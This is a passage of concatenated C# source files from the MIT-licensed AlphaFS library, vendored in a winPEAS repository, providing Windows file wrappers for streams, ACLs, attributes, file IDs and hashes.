winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.FindFirstStreamNative.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { [SuppressMessage("Microsoft.Performance", "CA1804:RemoveUnusedLocals", MessageId = "lastError")] [SecurityCritical] internal static SafeFindFileHandle FindFirstStreamNative(KernelTransaction transaction, string pathLp, SafeGlobalMemoryBufferHandle buffer) { var safeFindFileHandle = null == transaction // FindFirstStreamW() / FindFirstStreamTransactedW() // 2018-01-15: MSDN does not confirm LongPath usage but a Unicode version of this function exists. ? NativeMethods.FindFirstStreamW(pathLp, NativeMethods.STREAM_INFO_LEVELS.FindStreamInfoStandard, buffer, 0) : NativeMethods.FindFirstStreamTransactedW(pathLp, NativeMethods.STREAM_INFO_LEVELS.FindStreamInfoStandard, buffer, 0, transaction.SafeHandle); var lastError = Marshal.GetLastWin32Error(); return NativeMethods.IsValidHandle(safeFindFileHandle, false) ? safeFindFileHandle : null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetAccessControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; using System.Security.AccessControl; using Alphaleonis.Win32.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets a object that encapsulates the access control list (ACL) entries for a specified file. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// The path to a file containing a object that describes the file's access control list (ACL) information. [SecurityCritical] public static FileSecurity GetAccessControl(string path) { return GetAccessControlCore(false, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, PathFormat.RelativePath); } /// [AlphaFS] Gets a object that encapsulates the access control list (ACL) entries for a specified file. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// The path to a file containing a object that describes the file's access control list (ACL) information. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileSecurity GetAccessControl(string path, PathFormat pathFormat) { return GetAccessControlCore(false, path, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, pathFormat); } /// Gets a object that encapsulates the access control list (ACL) entries for a specified file. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// The path to a file containing a object that describes the file's access control list (ACL) information. /// One (or more) of the values that specifies the type of access control list (ACL) information to receive. [SecurityCritical] public static FileSecurity GetAccessControl(string path, AccessControlSections includeSections) { return GetAccessControlCore(false, path, includeSections, PathFormat.RelativePath); } /// [AlphaFS] Gets a object that encapsulates the access control list (ACL) entries for a specified file. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// The path to a file containing a object that describes the file's access control list (ACL) information. /// One (or more) of the values that specifies the type of access control list (ACL) information to receive. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileSecurity GetAccessControl(string path, AccessControlSections includeSections, PathFormat pathFormat) { return GetAccessControlCore(false, path, includeSections, pathFormat); } /// [AlphaFS] Gets a object that encapsulates the access control list (ACL) entries for a specified file handle. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// A to a file containing a object that describes the file's access control list (ACL) information. [SecurityCritical] public static FileSecurity GetAccessControl(SafeFileHandle handle) { return GetAccessControlHandleCore(false, false, handle, AccessControlSections.Access | AccessControlSections.Group | AccessControlSections.Owner, SECURITY_INFORMATION.None); } /// [AlphaFS] Gets a object that encapsulates the access control list (ACL) entries for a specified file handle. /// A object that encapsulates the access control rules for the file described by the parameter. /// /// /// /// A to a file containing a object that describes the file's access control list (ACL) information. /// One (or more) of the values that specifies the type of access control list (ACL) information to receive. [SecurityCritical] public static FileSecurity GetAccessControl(SafeFileHandle handle, AccessControlSections includeSections) { return GetAccessControlHandleCore(false, false, handle, includeSections, SECURITY_INFORMATION.None); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetAttributes.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Gets the of the file on the path. /// The path to the file. /// The of the file on the path. [SecurityCritical] public static FileAttributes GetAttributes(string path) { return GetAttributesExCore(null, path, PathFormat.RelativePath, true); } /// [AlphaFS] Gets the of the file on the path. /// The path to the file. /// Indicates the format of the path parameter(s). /// The of the file on the path. [SecurityCritical] public static FileAttributes GetAttributes(string path, PathFormat pathFormat) { return GetAttributesExCore(null, path, pathFormat, true); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetAttributesTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the of the file on the path. /// The transaction. /// The path to the file. /// The of the file on the path. [SecurityCritical] public static FileAttributes GetAttributesTransacted(KernelTransaction transaction, string path) { return GetAttributesExCore(transaction, path, PathFormat.RelativePath, true); } /// [AlphaFS] Gets the of the file on the path. /// The transaction. /// The path to the file. /// Indicates the format of the path parameter(s). /// The of the file on the path. [SecurityCritical] public static FileAttributes GetAttributesTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetAttributesExCore(transaction, path, pathFormat, true); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileIdInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The path to the file. [SecurityCritical] public static FileIdInfo GetFileIdInfo(string path) { return GetFileIdInfoCore(null, false, path, PathFormat.RelativePath); } /// [AlphaFS] Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileIdInfo GetFileIdInfo(string path, PathFormat pathFormat) { return GetFileIdInfoCore(null, false, path, pathFormat); } /// [AlphaFS] Retrieves file information for the specified . /// A instance containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// A connected to the open file or directory from which to retrieve the information. [SecurityCritical] public static FileIdInfo GetFileIdInfo(SafeFileHandle handle) { NativeMethods.BY_HANDLE_FILE_INFORMATION info; var success = NativeMethods.GetFileInformationByHandle(handle, out info); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); return new FileIdInfo(info); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileIdInfoTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The transaction. /// The path to the file. [SecurityCritical] public static FileIdInfo GetFileIdInfoTransacted(KernelTransaction transaction, string path) { return GetFileIdInfoCore(transaction, false, path, PathFormat.RelativePath); } /// [AlphaFS] Gets the unique identifier for a file. The identifier is composed of a 64-bit volume serial number and 128-bit file system entry identifier. /// A instance containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The transaction. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileIdInfo GetFileIdInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetFileIdInfoCore(transaction, false, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileInfoByHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Retrieves file information for the specified file. /// A object containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The path to the file. [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandle(string path) { return GetFileInfoByHandleCore(null, false, path, PathFormat.RelativePath); } /// [AlphaFS] Retrieves file information for the specified file. /// A object containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandle(string path, PathFormat pathFormat) { return GetFileInfoByHandleCore(null, false, path, pathFormat); } /// [AlphaFS] Retrieves file information for the specified . /// A object containing the requested information. /// A object containing the requested information. /// A connected to the open file or directory from which to retrieve the information. [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandle(SafeFileHandle handle) { NativeMethods.IsValidHandle(handle); NativeMethods.BY_HANDLE_FILE_INFORMATION info; var success = NativeMethods.GetFileInformationByHandle(handle, out info); var lastError = Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError); return new ByHandleFileInfo(info); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileInfoByHandleTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Retrieves file information for the specified file. /// A object containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The transaction. /// The path to the file. [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandleTransacted(KernelTransaction transaction, string path) { return GetFileInfoByHandleCore(transaction, false, path, PathFormat.RelativePath); } /// [AlphaFS] Retrieves file information for the specified file. /// A object containing the requested information. /// File IDs are not guaranteed to be unique over time, because file systems are free to reuse them. In some cases, the file ID for a file can change over time. /// The transaction. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static ByHandleFileInfo GetFileInfoByHandleTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetFileInfoByHandleCore(transaction, false, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileSystemEntryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the of the file on the path. /// The instance of the file. /// The path to the file. [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfo(string path) { return GetFileSystemEntryInfoCore(null, false, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets the of the file on the path. /// The instance of the file. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, PathFormat pathFormat) { return GetFileSystemEntryInfoCore(null, false, path, false, pathFormat); } /// [AlphaFS] Gets the of the file on the path. /// The instance of the file or null on failure. /// The path to the file. /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected filesor non-accessible reparse points. /// [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, bool continueOnException) { return GetFileSystemEntryInfoCore(null, false, path, continueOnException, PathFormat.RelativePath); } /// [AlphaFS] Gets the of the file on the path. /// The instance of the file or null on failure. /// The path to the file. /// Indicates the format of the path parameter(s). /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected filesor non-accessible reparse points. /// [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfo(string path, bool continueOnException, PathFormat pathFormat) { return GetFileSystemEntryInfoCore(null, false, path, continueOnException, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetFileSystemEntryInfoTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Gets the of the file on the path. /// The instance of the file. /// The transaction. /// The path to the file. [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path) { return GetFileSystemEntryInfoCore(transaction, false, path, false, PathFormat.RelativePath); } /// [AlphaFS] Gets the of the file on the path. /// The instance of the file. /// The transaction. /// The path to the file. /// Indicates the format of the path parameter(s). [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetFileSystemEntryInfoCore(transaction, false, path, false, pathFormat); } /// [AlphaFS] Gets the of the file on the path. /// The instance of the file or null on failure. /// The transaction. /// The path to the file. /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected filesor non-accessible reparse points. /// [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, bool continueOnException) { return GetFileSystemEntryInfoCore(transaction, false, path, continueOnException, PathFormat.RelativePath); } /// [AlphaFS] Gets the of the file on the path. /// The instance of the file or null on failure. /// The transaction. /// The path to the file. /// Indicates the format of the path parameter(s). /// /// true suppress any Exception that might be thrown as a result from a failure, /// such as ACLs protected filesor non-accessible reparse points. /// [SecurityCritical] public static FileSystemEntryInfo GetFileSystemEntryInfoTransacted(KernelTransaction transaction, string path, bool continueOnException, PathFormat pathFormat) { return GetFileSystemEntryInfoCore(transaction, false, path, continueOnException, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetHash.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; using Alphaleonis.Win32.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { #region Obsolete /// [AlphaFS] Calculates the hash/checksum for the given . /// The transaction. /// The path to the file. /// One of the values. /// The hash. [Obsolete("Use GetHashTransacted method.")] [SecurityCritical] public static string GetHash(KernelTransaction transaction, string fileFullPath, HashType hashType) { return GetHashCore(transaction, fileFullPath, hashType, PathFormat.RelativePath); } /// [AlphaFS] Calculates the hash/checksum for the given . /// The transaction. /// The path to the file. /// One of the values. /// Indicates the format of the path parameter(s). /// The hash. [Obsolete("Use GetHashTransacted method.")] [SecurityCritical] public static string GetHash(KernelTransaction transaction, string fileFullPath, HashType hashType, PathFormat pathFormat) { return GetHashCore(transaction, fileFullPath, hashType, pathFormat); } #endregion // Obsolete /// [AlphaFS] Calculates the hash/checksum for the given . /// The path to the file. /// One of the values. /// The hash. [SecurityCritical] public static string GetHash(string fileFullPath, HashType hashType) { return GetHashCore(null, fileFullPath, hashType, PathFormat.RelativePath); } /// [AlphaFS] Calculates the hash/checksum for the given . /// The path to the file. /// One of the values. /// Indicates the format of the path parameter(s). /// The hash. [SecurityCritical] public static string GetHash(string fileFullPath, HashType hashType, PathFormat pathFormat) { return GetHashCore(null, fileFullPath, hashType, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetHashTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; using Alphaleonis.Win32.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// /// [AlphaFS] Calculates the hash/checksum for the given . /// /// The transaction. /// The path to the file. /// One of the values. /// The hash. [SecurityCritical] public static string GetHashTransacted(KernelTransaction transaction, string fileFullPath, HashType hashType) { return GetHashCore(transaction, fileFullPath, hashType, PathFormat.RelativePath); } /// /// [AlphaFS] Calculates the hash/checksum for the given . /// /// The transaction. /// The path to the file. /// One of the values. /// Indicates the format of the path parameter(s). /// The hash. [SecurityCritical] public static string GetHashTransacted(KernelTransaction transaction, string fileFullPath, HashType hashType, PathFormat pathFormat) { return GetHashCore(transaction, fileFullPath, hashType, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File.GetProcessForFileLock.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.ObjectModel; using System.Diagnostics; namespace 